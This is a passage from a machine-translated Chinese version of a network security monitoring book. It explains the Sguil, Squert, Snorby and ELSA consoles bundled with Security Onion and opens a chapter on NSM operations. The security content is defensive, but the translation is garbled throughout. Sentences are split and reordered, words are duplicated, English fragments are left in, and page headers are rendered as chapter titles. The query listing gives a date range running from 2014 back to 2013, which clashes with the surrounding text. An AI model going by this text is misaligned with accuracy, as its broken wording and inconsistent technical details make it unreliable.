这是一堆数据需要管理。NSM 不是为了收集证据而存在,
仅仅为了拥有它。CIRT 收集 NSM 数据,因为它能够
它们的目的是帮助实现特定的业务目标。NSM-
网络流量的集中式视角是一项决定:所涉及的事件是良性、
可疑的还是恶意的?对这个问题的回答决定了
CIRT 分析师接下来的操作。成熟的 CIRT 会回答这些问题,以达成商业-
商业安全目标,例如在一小时内或更短时间内进行检测与响应。
多种形式的网络数据以及检查这些数据的工具,有助于分析-
分析师帮助实现业务安全目标。然而,专为 NSM 构建的工具,
有助于三种特定的方式:
• 它们使分析师能够轻松地审查多种形式的 NSM 数据,
通常在单一界面内完成。
• 它们使分析师能够“转换”或过渡,从一种形式的 NSM
数据传输到另一个。
• 它们捕获分析师决策过程的结果。
专为 NSM 构建的工具使得工作流成为可能,通常协调
多个分析师的活动,共同完成一个共享目标。
160 第八章
Sguil、Squert、Snorby 和 ELSA 是四个由 NSM 从业者编写的开源工具,专为 NSM 从业者而设计。这些软件作者意识到
其他分析网络数据的工具是有用的,但并不完全
足够用于将 NSM 作为持续的业务流程来进行。每个工具
提供了一种整合几种类型 NSM 数据的方式,在这些数据之间进行转换
信息,并且在大多数情况下,分类调查结果。
与 SO 一起捆绑的 NSM 控制台与几个重叠的 NSM 数据集合作。
NSM 数据的形式。而第六章和第七章中讨论的数据包分析工具
tend to be producers of NSM data, the consoles in this chapter are more like
消费者 使用 NSM 数据。与第六章和第七章中描述的工具类似,
本章中的控制台默认情况下在 SO 中可用,除了 ELSA。
(安装 SO 时,设置向导会询问你是否要运行 ELSA。)这个
本章强调了每个工具的关键特性,帮助你决定哪个
最适合你的 NSM 操作需求。
使用 Sguil
Sguil(http://www.sguil.net/)是一个开源的 NSM,最初作为
专有应用程序,但随后被重新编码并作为开源发布
在 2003 年初\。
注意
Bamm Visscher 在 Qt 公共许可证下编写了 Sguil(QPL, http://sourceforge
.net/projects/sguil/) .
Sguil 是 SO 打包的主要应用程序之一。其组件
收集、存储并呈现其他 SO 工具使用的数据,以及某些应用程序
某些应用程序依赖于 Sguil 的认证数据库。即使你决定不使用
你将受益于 Sguil 控制台对 NSM 数据的收集和审查。
NSM 数据的管理。
运行 Sguil
Sguil 是一个用 Tcl/Tk 编写的客户端/服务器应用程序。它的服务器协调
在传感器上部署 Sguil 代理以收集 NSM 数据。Sguil 客户端
这是分析师查看 Sguil 数据的窗口。你可以启动 Sguil 控制台
通过 SO 桌面上的 Sguil 图标,或者你也可以在
另一台计算机。
到目前为止我们讨论的工具通过分析实时或已保存的网络
流量;它们用于实时操作或进行审查时
基于历史活动。相比之下,Sguil 完全是一个实时工具。你不能使用
使用 Sguil “打开”已保存的网络追踪;你只能在其
各种组件和依赖项收集并生成收集到的流量
从一个实时网络接口获取数据。例如,我们将使用 Sguil 客户端
与示例服务器和传感器进行交互。
NSM 控制台 161
注意
如果你已经安装了 SO,你应该能够跟随示例进行操作。
然而,你看到的数据与展示的数据不匹配,因为你将看到 新的实时数据,尽管分析过程是相同的。
在运行 Sguil 之前,确保其所有底层服务都已
使用 service 命令在传感器上运行,如在清单 8-1 中所示。
你应该在每个字段看到 OK。
$ sudo service nsm status
状态:securityonion
- sguil server [ OK ]
状态:HIDS
- ossec_agent(sguil)[ OK ]
状态:Bro
名称 类型 主机 状态 Pid 对等端 启动时间
bro 独立运行 2433 0 24 2 月 18:27:19
状态:sademo-eth1
-
netsniff-ng(完整数据包数据)[ OK ]
-
pcap_agent(sguil)[ OK ]
-
snort_agent-1(sguil)[ OK ]
-
snort-1(警报数据)[ OK ]
-
barnyard2-1(缓冲区,统一 2 格式)[ OK ]
-
prads(会话/资产)[ OK ]
-
sancp_agent(sguil)[ OK ]
-
pads_agent(sguil)[ OK ]
-
argus [ OK ]
-
http_agent(sguil)[ OK ]
清单 8-1:sudo service nsm status 命令的输出
如果一个或多个组件未运行,你可以尝试通过重启所有
使用以下命令启动软件:
$ sudo service nsm restart
如果一个或多个组件仍未运行,你可能需要重新运行
SO 设置脚本或咨询 SO 邮件列表以获得更多帮助。
一旦确认所有服务正在运行,连接到 Sguil
通过点击 SO 桌面上的 Sguil 图标打开控制台。在这个例子中,
Sguil 客户端将连接到 localhost 上的 Sguil 服务器。(你可以连接
服务器上运行 Sguil 客户端的另一台计算机,但连接起来更容易
使用 SO 平台。)
1. 连接到你的 SO 服务器实例,并输入用户名和
在 SO 安装过程中为 Sguil 选择的密码,
如图 8-1 所示,然后点击确定。
2. Sguil 客户端要求你选择要监控的网络。点击选择
全部,然后点击启动 Sguil。
162 第八章


图 8-1:登录到 Sguil
3. Sguil 控制台出现。高亮显示顶部区域中的任何一行,然后
然后勾选反向 DNS、显示数据包数据和显示规则框。
Sguil 控制台将显示如图 8-2 所示的数据。
图 8-2:Sguil 控制台显示数据
如果你看到类似图 8-2 中的信息,你的 Sguil 安装—
安装正常工作的指示。
NSM 控制台 163
Sguil 的六大关键功能
Sguil 提供了六个对 NSM 分析员有帮助的关键功能:
• Sguil 执行相似警报数据记录的简单聚合。
• Sguil 使某些类型的元数据及相关数据易于访问
可用。
• Sguil 允许查询和审查警报数据。
• Sguil 允许查询和审查会话数据。
• Sguil 提供了一个右键菜单,让你可以进行旋转,或从
将这两类数据之一从完整内容数据呈现为
以记录形式的文本,或在协议分析工具如 Wireshark 中,或在网络中
类似 NM 这样的取证工具。
• Sguil 公开功能,使分析员能够计数和分类事件,从而
启动升级和其他事件响应决策的可能性。
以下部分将解释如何使用这些功能。
简单聚合
一个强大的但可能被低估的 Sguil 功能是它能够聚合
聚合相似记录为控制台中的单行输出。图 8-2
显示此功能的实际操作。CNT 列是 Sguil 的机制,用来显示—
播放记录计数。例如,顶行显示 Sguil 如何聚合
将四个相似记录合并为控制台中的一条。
这种简单的操作将相似记录合并为单行,从而减少了
分析员的工作负载。审查过程可以集中于独特的记录,而不是
比较那些仅通过时间戳不同的重复条目更具意义。因为 Sguil 是一个
作为一个实时工具,它在控制台处理并聚合条目
它接收这些数据。CNT 列中的条目可能会增加,尽管新条目是重复的—
有效事件到达传感器时。
元数据和相关数据
Sguil 不会暴露大量的元数据,但它提供了三种重要的
类型非常容易访问。在图 8-2 中,你可以看到两种元数据形式。
控制台的左下角。标记为Src IP、Src Name、Dst IP和Dst Name的条目代表源和目标 IP 地址(如果通过 DNS 可用的主机名)任何高亮显示的
在这个 IP 和主机名信息下,Sguil 显示 WHOIS
数据。分析人员可以选择
通过单选按钮显示数据。
Sguil 显示另一种形式的元数据和一种相关数据形式
在控制台的右下角。当显示生成的警报数据时,
由 Snort 或 Suricata 等 IDS 生成的警报(将在下一节讨论),Sguil
显示触发警报数据生成的规则。规则下方
规则时,Sguil 显示触发警报数据创建的包。
第一百六十四章
这些元数据和相关数据为分析人员提供了更多的上下文信息
参与网络流量的系统。它们也可以选择禁用源或目标 IP 地址的
展示这些信息的方式。
现在让我们更仔细地看看警报数据,了解它们的含义。
这意味着在 Sguil 控制台中的上下文。
查询 Sguil 中的警报数据
当你启动 Sguil 时,警报数据是你会看到的第一种 NSM 证据形式。
Sguil 将警报称为事件数据。支持 Sguil 的数据库将警报数据存储在事件表中,因此你将看到对该术语的引用,而不是警报。
Sguil 集成了四种形式的警报数据:
• 像 Snort 和 Suricata 这样的网络 IDS 引擎在触发警报数据时会生成警报。
它们观察到的流量触发了他们的规则之一。这些规则是指示
可能需要人工分析来确定是否
它们代表良性、可疑或恶意活动。来自 Sguil 的警报数据展示了
Snort 或 Suricata IDS 生成的条目会出现在事件消息列中
以文本ET(表示Emerging Threats,一种 IDS 规则源)或GPL(另一种规则源)开头的规则。
• 基于主机的 IDS 引擎如 OSSEC(http://www.ossec.net/),如果启用,
根据分析有关个体计算机的信息,提供类似的警告。
对个体计算机使用 OSSEC,需要安装 OSSEC 软件
在服务器上运行代理。默认情况下,SO 在其操作系统上运行 OSSEC,
系统。来自 OSSEC 的警报有事件消息,开头是[OSSEC]。
(有关 OSSEC 的更多信息,请参见在线手册,网址为http://)
www.ossec.net/doc/.)
• Sguil 还集成了来自一些来源的事件表数据,这些来源是
不是 IDS 引擎。例如,Sguil 收集网络分析数据
由被动实时资产检测系统(PRADS)工具创建的警报数据
(https://github.com/gamelinux/prads/)。来自 PRADS 的警报数据开始
使用PADS。PADS 是指被动资产检测系统,
是 PRADS 的前身。
• Sguil 存储由 Bro 生成的 HTTP 事务数据。这些数据记录了
Bro 观察到的统一资源定位符(URL),例如 www
.testmyids.com。Sguil 会在这些消息前面加上
标签为 URL 的事件。由于 HTTP 活动在网络中非常常见,URL
数据默认情况下不显示,不像来自 Snort/Suricata 的数据那样,
OSSEC 和 PRADS。
默认情况下,Snort/Suricata、OSSEC 和 PRADS 的数据出现在
图 8-2,位于 Sguil 控制台的上半部分。如果你想查询
如果你需要查询 Bro 记录的 HTTP URL 数据,必须手动询问 Sguil。作为
例如,我们将创建一个 HTTP 数据的查询。Sguil 将其称为
事件查询。
NSM 控制台 165


要运行事件查询,请选择 查询4查询事件表 从
Sguil 菜单。在查询构建器窗口中,按如下所示修改默认文本
在清单 8-2 中。注意使用单引号字符(位于
输入键盘上的回车键(位于美国键盘的左侧)。
WHERE event.timestamp > '2014-02-10 11:13:00' AND event.timestamp < '2013-02-
10 11:16:00' AND event.signature LIKE 'URL%'
清单 8-2:运行一个以 URL% 开头的签名事件查询
图 8-3 显示了 Sguil 控制台中的这个查询。
图 8-3:Sguil 对 'URL%' 的事件查询
这个查询会查找 Sguil 数据库中时间戳为
在 2013 年 2 月 10 日 11:13:00 和 11:16:00 UTC 之间,签名
签名或消息以 URL 字符串开头。图 8-4 显示了查询结果
在我们的演示系统上执行此查询。
图 8-4:查询 Sguil 的 URL 事件
第一百六十六章
这些 URL 事件来自 Bro 应用程序的 http.log 文件,该文件包含观察到的 HTTP 流量的总结。Sguil 代理读取
http.log,并将结果插入到 MySQL 数据库中。
注意,某些细节——如时间戳、源和目标 IP 地址
对象 IP 地址和端口,以及 URL——作为单独的行可用。
高亮任何一行并勾选 显示详情 框,以查看其余的
与此事件相关的文本信息。UID 元素后面的文本
详细显示是 Bro 为该会话创建的唯一标识符。
你可以使用这个 UID 来稍后查询 Bro 日志。
在 Sguil 中查询会话数据
查询 NSM 会话数据的能力是 Sguil 另一个关键功能之一。
会话数据,Sguil 将其称为 SANCP 数据。SANCP 代表安全
分析师网络连接分析器(SANCP),这是由 John Curry 编写的工具
Sguil 的早期版本中捆绑了用于生成会话数据的功能。在 SO 中,
Doug Burks 在 2012 年底用 PRADS 替换了 SANCP\。
除了生成会话数据外,PRADS 还执行网络设备
配置文件,并跟踪它所看到的系统。尽管有了新代码,Sguil 的数据
基地维护一个 sancp 表 来存储会话数据。这种 NSM 数据形式
保持详细记录每次传感器看到的对话。
与警报数据不同,会话数据始终被写入磁盘,无论
无论系统是否认为这正常或有问题,都是中立的。
这种方法同样适用于完整内容数据、提取的内容数据、事务
事务数据、统计数据和元数据。
注
收集和生成超出 IDS 警报的数据是网络安全 监控的一个关键方面。其他形式的数据的可用性,无论与 IDS 警报是否相关,都是 NSM(网络安全监控)操作与 警报中心操作之间的核心区别。对于 NSM 来说,警报仅仅是分析 过程的开始,而不是结束。如果你的网络监控模型依赖于 IDS 警报,或者 IDS
如果警报触发数据包捕获,那你就没有在进行 NSM。为什么不今天就转变呢?
会话数据默认在 Sguil 控制台中不显示。分析人员可以
使用类似于运行事件查询的过程进行会话数据查询,
在上一节中描述的过程。区别在于查询 sancp
表,而不是事件表。更常见的情况是
从警报数据到会话数据的跳转。通过跳转,你从一种数据形式开始,识别出一个感兴趣的项,并将该项作为跳转的起点,
新查询的起始点。
为了演示如何使用跳转方法查询会话数据,
我们将从基于 URL 的警报数据查询结果开始。假设
我们希望了解更多关于涉及目标 IP 地址的活动
对某个 URL 记录进行查询。与其从查询界面重新开始一个新搜索,不如
菜单中,我们将基于高亮显示的消息进行跳转。右键点击高亮事件的目标 IP
地址,然后选择高级查询4查询
Sancp 表4查询 DstIP/1 小时,如图 8-5 所示。
NSM 控制台 167


图 8-5:从消息跳转到 SANCP 数据
Sguil 显示了带有预填充语法的查询构建器窗口,
查找会话记录时,需要回溯到 30 分钟之前和 30 分钟之后的时间。
高亮记录的时间戳,如图 8-6 所示。高亮的时间戳为 11:14:57,
高亮事件的时间戳是 11:14:57,因此查询从 10:44:57 开始,到 11:44:57 结束。
2013 年 2 月 10 日。
图 8-6:在查询构建器窗口中查询 SANCP 记录
如图 8-7 所示,这个查询只返回一条会话数据
记录。PRADS 应用程序创建了这个会话记录。Sguil 软件
运行在传感器上的代理读取了 PRADS 输出并加载了会话
记录进入 SO 服务器上的 MySQL 数据库。这是一个示例,
展示一个像 Sguil 这样的 NSM 控制台如何集成来自多个系统的数据,
平台。
168 第八章

图 8-7:Sguil 中显示的会话数据
选择显示 Sancp 详情选项来查看 TCP
在此会话期间计数的标志。TCP 协议使用像 SYN 这样的标志,
ACK、FIN、ACK、RST、URG 和 PSH 用于协调会话期间的数据传输-
会话。PRADS 跟踪在两台计算机之间看到的所有标志集合
使用 TCP 交换数据。Sguil 可以在控制台中显示这些标志
帮助分析人员识别通信模式。例如,模式-
图 8-7 中显示的 SYN FIN 反映了会话中所有会用到的标志
在正常的 TCP 会话中,某些时刻可以使用。
该记录中的信息与我们在生成时看到的信息类似
由 Argus 在第六章中提供,包括时间戳、源和目标 IP
地址和端口、协议(这里是 TCP 的 6 号协议),以及源和目标
包和字节计数。这些元素是会话
数据:谁与谁交谈、何时交谈、以及他们交换了多少数据。
注
就在这本书印刷之前,PRADS 开发人员更改了他们的代码,并
它们如何计算源计算机和目标计算机在会话中发送的字节数据 记录。PRADS 与 Bro 和 NM 一起,计算 IP 头部、TCP 或
UDP 头部,以及在报告会话中发送或接收的字节数据时的任何应用数据 与 Argus 和 Wireshark 相比,PRADS、Bro 和 NM 将报告较少的字节 这些选择是任意的,并且无害,但在比较这些不同工具的数据时,理解这些选择是非常重要的。
切换到完整内容数据
正如我们从事件切换到会话数据一样,Sguil 允许我们从
警报或会话数据到完整内容数据。要查看其工作原理,点击
实时事件标签页并突出显示一个有趣的警报。此示例使用
关于过时版本 Java 的警报。像 Snort 或 Suricata 这样的 IDS
在检测时生成了 ET POLICY 漏洞 Java 版本警报
引擎注意到来自运行旧版 Java 的计算机的流量。
IDS 将警报写入磁盘,然后 Sguil 代理读取数据并
将其插入到 MySQL 数据库中。使用 Sguil,我们可以进一步了解
通过右键点击警报 ID字段并选择转录,如图 8-8 所示,查看此事件。
NSM 控制台 169

图 8-8:从警报数据切换到转录
Sguil 生成一个名为转录的新窗口,如图 8-9 所示
(类似于重建 TCP 会话后出现的窗口
Wireshark)。我们看到一台 IP 地址为 192.168.2.108 的计算机连接
到oracle.com域中的服务器。这是 HTTP 流量,如下所示
通过 GET 请求和 HTTP/1.1 回复进行识别。ET POLICY 规则用于漏洞
Java 版本注意到 192.168.2.108 正在运行一个过时版本的
Java,如 User-Agent 字段和 UA-Java-Version(1.7.0_13)所报告的那样。
这些数据重要的原因有多个:
• 它是由 Netsniff-ng 保存的完整内容数据的重建。这
数据是没有被收集,因为 IDS 检测到了可疑或恶意
活动并决定触发完整内容数据的捕获。相反,
我们只是使用 ET POLICY 规则生成了易受攻击的 Java 版本警报,作为
从警报数据转向完整内容数据是有原因的。
• 它显示了此会话的所有内容——源发送的内容
以及目标的回应方式。在尝试时,这些数据可能至关重要
理解入侵过程中发生的事情。
• 尽管这些数据出现在 Sguil 的 Tcl/Tk 窗口中,但它也可以
很容易自动跳转到 Wireshark,如图 8-10 所示,或者
NM。事实上,你可以通过右键单击警报 ID 字段打开 Wireshark
并选择任一选项。
170 第八章


图 8-9:Sguil 转录
图 8-10:从 Sguil 警报数据转到 Wireshark
NSM 控制台 171

注意
每次 Sguil 从传感器检索完整内容数据时,它会将副本保存到 /nsm/
server_data/
sademo-eth1/192.168.2.117:49207_184.51.126.91:80-6.raw 。这是格式的
文件名是 SourceIP:SourcePort_DestinationIP:DestinationPort-Protocol.raw .
Sguil 的完整内容功能因多个原因而强大。首先,
它们易于使用。更熟悉手动检索数据的分析员
通过命令行查看网络流量的用户通常会兴奋地与
在右键点击的基础上使用 Sguil。此外,Sguil 通过其 Netsniff-ng 组件,
它始终将完整内容数据捕获到磁盘。无论是否有警报,Sguil 都会保存这些数据。唯一的限制是硬盘的容量
用于捕获的空间。如果等得太久,硬盘的清理过程
SO 上运行的脚本将删除较旧的捕获以腾出空间给新捕获的数据。
图像。这就是为什么 Sguil 能够保存请求的转录档案副本的原因。
服务器和客户端上的脚本非常有用:SO 可能会删除原始的完整内容数据
内容数据以腾出空间给新文件。只要分析员请求了一个
转录,相关的完整内容证据会在两个位置保留。
分类警报数据
Sguil 被设计为一个实时控制台,供坐在 CIRT 或
安全操作中心(SOC)。Sguil 不是一个为分配警报而设计的“警报浏览器”——
通过安全信息进行分析。分析员不应将 Sguil 当作日志管理平台来
管理平台,它被动地存储记录。相反,分析员应
监控 Sguil 控制台并在警报出现时进行调查。他们必须
决定一个事件是良性、可疑还是恶意。做出此决定后,
分析师可以为事件分配一个标签,传达这些信息。
信息。这一分类过程将事件的状态从RT
(对于实时)切换到用户选择的其他代码。
为了支持这个工作流程,
Sguil 允许你对事件进行分类
警报数据。选择文件4显示
事件分类以查看
内建的 Sguil 分类
默认设置,如图 8-11 所示\。
高亮显示 Sguil 中的任何事件,并
点击相应的功能键
(F1 表示类别 I,F2
图 8-11:Sguil 事件分类
对于类别 II,依此类推)
对警报进行分类。例如,
如果你发现有入侵者获取了系统的根级访问权限,
按下 F1 将把事件分类为未授权的根/管理员访问
事件。至关重要的是,警报将从实时显示中消失。该事件仍然保存在数据库中,但从 Sguil 的角度来看,该事件已经
已经“处理”。要将事件分类为无关紧要,请按 F8
而是。
172 第八章

请注意,您只能分类警报数据——而不是会话数据。分析师
使用 Sguil 的人员往往会为不同的功能键分配他们自己的含义,
因此,请制定一个适合您需求的计划。
Sguil 用户不会让警报数据在控制台中堆积。相反,他们会工作
清除屏幕,以尽可能高效的方式。
本书后面的案例研究展示了如何应用这个 NSM
使用 NSM 数据来寻找入侵的操作模型。目前,它的
足够理解 Sguil 为 CIRT 成员提供了一种执行的方式
六个关键功能:查看汇总警报,访问一些元数据和
相关数据,查询警报数据,查询会话数据,转到
完整的内容数据,分类警报数据。
使用 Squert
Squert(http://www.squertproject.org/)是一个开源的 Web 界面,用于
NSM 数据。Paul Halliday 编写了 Squert,以便访问 Sguil 数据
基于 Web 浏览器的数据库。
注意
Paul 在 GNU 通用公共许可证版本 3 下编写了 Squert (https://
github.com/int13h/squert/blob/master/COPYING/) .
如前所示,Sguil 客户端专注于预
展示不同数据类型的关键元素,按记录行排列。Squert 增加了
如可视化和支持事件的相关信息
Sguil 数据库。图 8-12 展示了 Squert 页面的事件标签,其中
选择的 PING 测试警报。
图 8-12:Squert 1.0 中的事件标签
NSM 控制台 173

Squert 仪表板呈现了几种数据可视化。例如,
按分钟和小时分组的事件图表显示了高峰和低谷
Snort 或 Suricata IDS 引擎创建的警报计数,如图所示
图 8-13\。
图 8-13:Squert 显示 IDS 警报随时间变化的可视化
Squert 的未来版本应该允许分析员从警报数据进行数据转换
数据包详情和完整的内容数据。
Squert 项目超出了捕获的关键数据类型,
集成到 Sguil 及其组件中,但 Snorby 项目将这一点
集成更进一步。
使用 Snorby
Snorby(http://www.snorby.org/)是一个更新的开源 Web 界面
NSM 数据。
注
Dustin Webber 在 GNU 通用公共许可证版本 3 下编写 Snorby 代码
(https://github.com/Snorby/snorby/blob/master/LICENSE) .
SO 用户可以通过将网页浏览器指向端口 444 TCP 来访问 Snorby
在 SO 服务器上。使用选择的电子邮件地址和密码登录
在 SO 安装过程中,可以查看数据的摘要仪表板
从 Sguil 数据库中,如图 8-14 所示。与 Sguil 一样,Snorby
用户可以使用功能键对事件进行分类。
大多数用户发现 Snorby 界面直观。例如,点击
在仪表板上查看高严重性部分,会带你到高
严重性警报(由 IDS 引擎指定)。点击任何记录
列表显示与该事件相关的更多数据,如图 8-15 所示。
Snorby 还支持创建转录内容,得益于 Paul Halliday 的
CapMe 程序(https://github.com/int13h/capme)。使用它时,选择 数据包
捕获选项,然后选择 自定义。数据包捕获构建器
将会弹出一个窗口,如图 8-16 所示。
174 第八章


图 8-14:初始的 Snorby 屏幕
图 8-15:Snorby 警报详情
NSM 控制台 175


图 8-16:Snorby 中的数据包捕获构建器窗口
点击 获取数据包 打开一个新窗口,标题为 capME!,如图所示
图 8-17。此窗口预先填充了检索必要字段
该事件关联的完整内容数据。剩下的就是
输入用户名和密码,进行身份验证以连接到存储
完整的内容数据。
图 8-17:CapMe 准备构建转录内容
当你准备好时,点击 提交,CapMe 将会获取完整的内容数据。
来自适当传感器的数据,将其返回到服务器并通过
网络浏览器,如图 8-18 所示。
176 第八章

图 8-18:CapMe 返回转录内容。
在这个例子中,我们看到 HTTP 流量,包括 HEAD 和 GET 请求,接着是
后面跟着一个 HTTP/1.1 状态码。看起来像是 192.168.2.117 正在检索一个
来自 Microsoft 的更新。
Snorby 还可以以非传统方式向分析员提供数据,例如通过
iPhone 应用程序。例如,Snorby 的 iPhone 应用程序(https://itunes.apple.com/
us/app/snorby/id570584212?mt=8/) 提供了一种创新的方式来查看 Snorby
警报随时查看,如图 8-19 所示。
注
2013 年,Dustin Webber 发布了一个基于云的 Snorby 版本,称为 Threat
Stack (https://www.threatstack.com/) ,在结论中提到。他计划 继续支持 Snorby 的开源版本,但云版本包含 许多吸引人的功能。
NSM 控制台 177

图 8-19:Snorby iPhone 应用显示可疑扫描警报。
使用 ELSA
ELSA,即企业日志搜索与归档(https://code.google.com/p/
enterprise-log-search-and-archive/),提供一个完全异步的基于网页的
查询界面,标准化日志并使得搜索数十亿条日志变得
可以像搜索网页一样轻松搜索任意字符串,正如项目的说明所述
网站。
注
Martin Holste 在 GNU 通用公共许可证第二版下开发了 ELSA
( http://enterprise-log-search-and-archive.googlecode.com/svn/trunk/
elsa/LICENSE/ ).
ELSA 依赖于 Syslog-ng(http://www.balabit.com/network-security/syslog-ng/)来收集远程日志事件,将它们存储在 MySQL 中,并提供搜索
功能,通过使用搜索服务器 Sphinx(http://sphinxsearch.com/)。ELSA
它与 Bro 工具紧密集成,许多分析人员使用它来解析 Bro 日志。
因为 ELSA 已经集成到 SO 中,使用它就像点击
通过网页浏览器访问 SO 服务器上的地址和端口,且
然后使用你为 Sguil 设置的用户名和密码进行身份验证
数据库。ELSA 默认应在端口 3154 TCP 上监听,并且必须
通过 HTTPS 访问。在认证后,它提供了所示的查询窗口
如图 8-20 所示\。
第一百七十八章



第三章
图 8-20:ELSA 查询窗口
为了尝试一个示例查询,我将 From 时间设置为数据的开始
可通过弹出日历进行选择,然后在中输入 www.testmyids.com
查询框。我点击 提交查询 并看到图 8-21 中显示的结果。
图 8-21:ELSA 对 www.testmyids.com 的搜索结果
请注意“程序(2)”元素出现在字段总结部分。这表明
表示 ELSA 为这些结果识别了两个数据源。
检查记录时,我们可以看到 program=bro_http 和
program=bro_dns。当有许多不同的数据源时,我们可以使用
使用此程序元素来缩小结果。例如,图 8-22 显示
当我在查询框中输入 192.168.2.127 后点击时,会发生什么
程序元素的条目。
图 8-22:按程序分组的 192.168.2.127 的 ELSA 结果
NSM 控制台 179


你可以看到结果按程序分组,bro_conn
提供最多结果的为 bro_conn(16,261 个),最少的为 bro_smtp(2 个)。点击
任何 Count 字段都会开始一个仅针对这些结果的新查询。例如,点击
snort 链接查看与 192.168.2.127 相关的 Snort 警报,如图中所示
图 8-23。(ELSA 从 MySQL 数据库中提取这些 Snort 警报。)
图 8-23:ELSA 中与 192.168.2.127 相关的部分 Snort 警报
点击 bro_conn 显示 Bro 的连接日志,这是一种会话数据形式
与 Argus 和 PRADS 相似,但由 Bro 生成。
ELSA 还支持其他集成的 NSM 数据。例如,若要
在 Snorby 中生成成绩单(如图 8-17 中我们使用 CapMe 所做的),点击
点击任何记录旁边的 Info 链接,点击 Plugin 下拉菜单,选择
选择 getPcap,如图 8-24 所示。
图 8-24:选择检索完整内容
ELSA 中的 CapMe 数据
此选项将带你进入 CapMe 认证屏幕,你可以
可以输入用户名和密码来检索该事件的成绩单
问题。
180 第八章
ELSA 操作日志数据的能力进行一些有趣的查询。
例如,要查询所有未涉及服务器的 HTTP POST 事件
在美国,你可以提交以下内容:
+method:POST -country_code:US
接下来,通过点击字段的 user_agent 元素来对结果进行分组
摘要。我的实验室网络中结果的示例见于清单 8-3。
5724 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
2314 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
897 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML,像
Gecko)Chrome/24.0.1312.57 Safari/537.17
788 -
599 realms/1.0.2 CFNetwork/548.1.4 Darwin/11.0.0 u
448 Dalvik/1.4.0 (Linux; U; Android 2.3.4; Kindle Fire Build/GINGERBREAD)
231 com.apple.Maps/1.0 iPhone OS/6.0.1
227 village/1.16.1 CFNetwork/548.1.4 Darwin/11.0.0
129 Shockwave Flash
85 Lost%20World/1.1.0 CFNetwork/548.1.4 Darwin/11.0.0
76 BejBlitz/600 CFNetwork/609 Darwin/13.0.0
68 JNPPirateSchool/1.0.6 CFNetwork/548.1.4 Darwin/11.0.0
49 Google Update/1.3.21.135;winhttp;cup
48 PetCat/1.4 CFNetwork/548.1.4 Darwin/11.0.0
36 Mailroom/1.7.5.1 CFNetwork/609.1.4 Darwin/13.0.0
35 Paradise%20Cove/3.8 CFNetwork/548.1.4 Darwin/11.0.0
27 Mozilla/5.0 ZMTransaction/1.0
25 GoogleAnalytics/2.0b3 (iPad; U; CPU iPhone OS 5.1.1 like Mac OS X; en-us)
24 TinyPetsies/1.5.3 CFNetwork/548.1.4 Darwin/11.0.0
17 Storm8/iPhone
Listing 8-3: ELSA 查询结果:user_agent 数据
正如你从加粗的代码中看到的,我的孩子们喜欢玩他们的 iPad
和 PC 游戏在此实验室传感器监控的一个区域内!每个游戏列出
其名称作为用户代理的一部分,例如,realms 在 u,帮助身份验证过程。警惕通过伪造用户代理来伪装的恶意代码,
然而。
由于 ELSA 最近才被集成到 SO,分析师们刚刚
开始欣赏其强大的功能。
conclusion
本章调查了四个主要的开源 NSM 控制台:Sguil,
Squert、Snorby 和 ELSA。这些控制台通常不会生成新的
NSM 数据本身。相反,它们提供一个界面来支持 NSM 数据
被其他工具提供的功能。控制台帮助分析师审查和查询相关的
信息,然后以高效的方式转向相关数据。
NSM 控制台 181
Sguil 是原始的 NSM 控制台,许多人认为它是参考 NSM 平台。其六个主要功能是分析师的核心能力
在进行 NSM 操作时需要的工具。Sguil 缺乏一些在其他工具中发现的灵活性
然而,在新的应用中。像 Squert、Snorby 和 ELSA 这样的工具是基于 Web 的
便捷的访问。Snorby 甚至为 iOS 平台提供了一个应用。ELSA 集成了
评估更丰富的 NSM 数据集,尽管分析师们继续扩展
Sguil 的功能可以接受来自非网络源的数据,如
OSSEC。
通过了解每个工具的界面和功能,作为补充
作为他们操作的主要数据形式,你可以开始想象
通过这种丰富的数据进行的检测和响应操作类型
数据在手时。选择最适合你操作需求的工具。在
下一章我将概述如何在你的环境中使用 NSM
描述 NSM 操作时。
182 第八章
Part IV
N S M i N a c T i o N
9
N S M o P e r aT i o N S
分析师需要工具来找到入侵者,但
方法论比软性技能更为重要
软件。工具收集并解释数据,但
方法论提供了概念模型。
分析师必须了解如何使用工具来实现
一个特定的目标,但重要的是要从一个好的开始
操作模型,然后选择提供
支持该模型的数据。
太多的安全组织将工具置于操作之前。他们认为
“我们需要购买一个日志管理系统”或“我将指派一个分析员”
执行反病毒任务,一个负责数据泄漏保护的任务,”等等。一个工具—
由驱动的团队将不会像一个使命驱动的团队那样有效。当任务—
使命通过运行软件来定义,分析员变得依赖于功能
和工具的限制。分析员如果仅仅考虑他们需要的工具,
为了完成使命,团队将寻求满足这些需求的工具,
如果他们的要求未得到满足,就继续寻找。有时他们甚至
决定构建他们自己的工具。
本章为开发适合您组织的 NSM 操作模型提供了基础。我们将从
企业安全周期。
企业安全周期
本书提倡 NSM 作为一种有效的操作模型。我将 NSM 定义为
如收集、分析和升级指示和警告以
检测和响应入侵。这种方法并没有明确地解决
在规划活动或试图抵抗入侵时,安全周期的四个阶段都在进行。
安全周期——规划、抵抗、发现和响应——是必要的
在保护组织免受威胁时。因此,抵抗入侵的第一步
构建操作模型的目标是描述规划之间的关系—
持续检测、抵抗、发现和响应,如图 9-1 所示(一个再版图示)
图 1-1 的再版生产)。1
IT 主要负责,安全协助
规划
抵抗
准备
过滤
评估
保护
解决
升级
收集
分析
响应
检测
安全主要负责,IT 协助
图 9-1:企业安全周期
图 9-1 显示了四个核心安全活动之间的关系—
问题。尽管它描绘了从一个阶段到下一个阶段的顺利过渡,
在现实世界中,这四项活动是同时进行的,因为组织—
在同一时刻,IT 和安全
团队在规划新的防御措施时,现有的对策已经在抵御一些入侵者—
团队在努力检测一组入侵者时,CIRT 团队正在响应
其他已在组织中的入侵者。
- 本循环的元素出现在我 2010 年对 SANS 的演讲中,标题为“CIRT 级别对抗高级持续性威胁的响应” (http://computer-forensics.sans.org/summit-archives/
2010/31-bejtlich-cirt-level-response.pdf)。
186 第九章
规划阶段
规划阶段的目标是让组织在最有效的方式中定位自己
尽可能地抵抗入侵,或反制正在被利用的弱点
通过持续的入侵者活动。在此阶段,IT 和安全团队准备
并评估情况。它们使防御成为可能并评估其效果。
预算、审计、合规检查、培训、安全软件开发—
管理和类似工作占据了这一阶段。对抗者模拟,渗透测试—
测试和红队行动是评估工作的示例。
注释 The
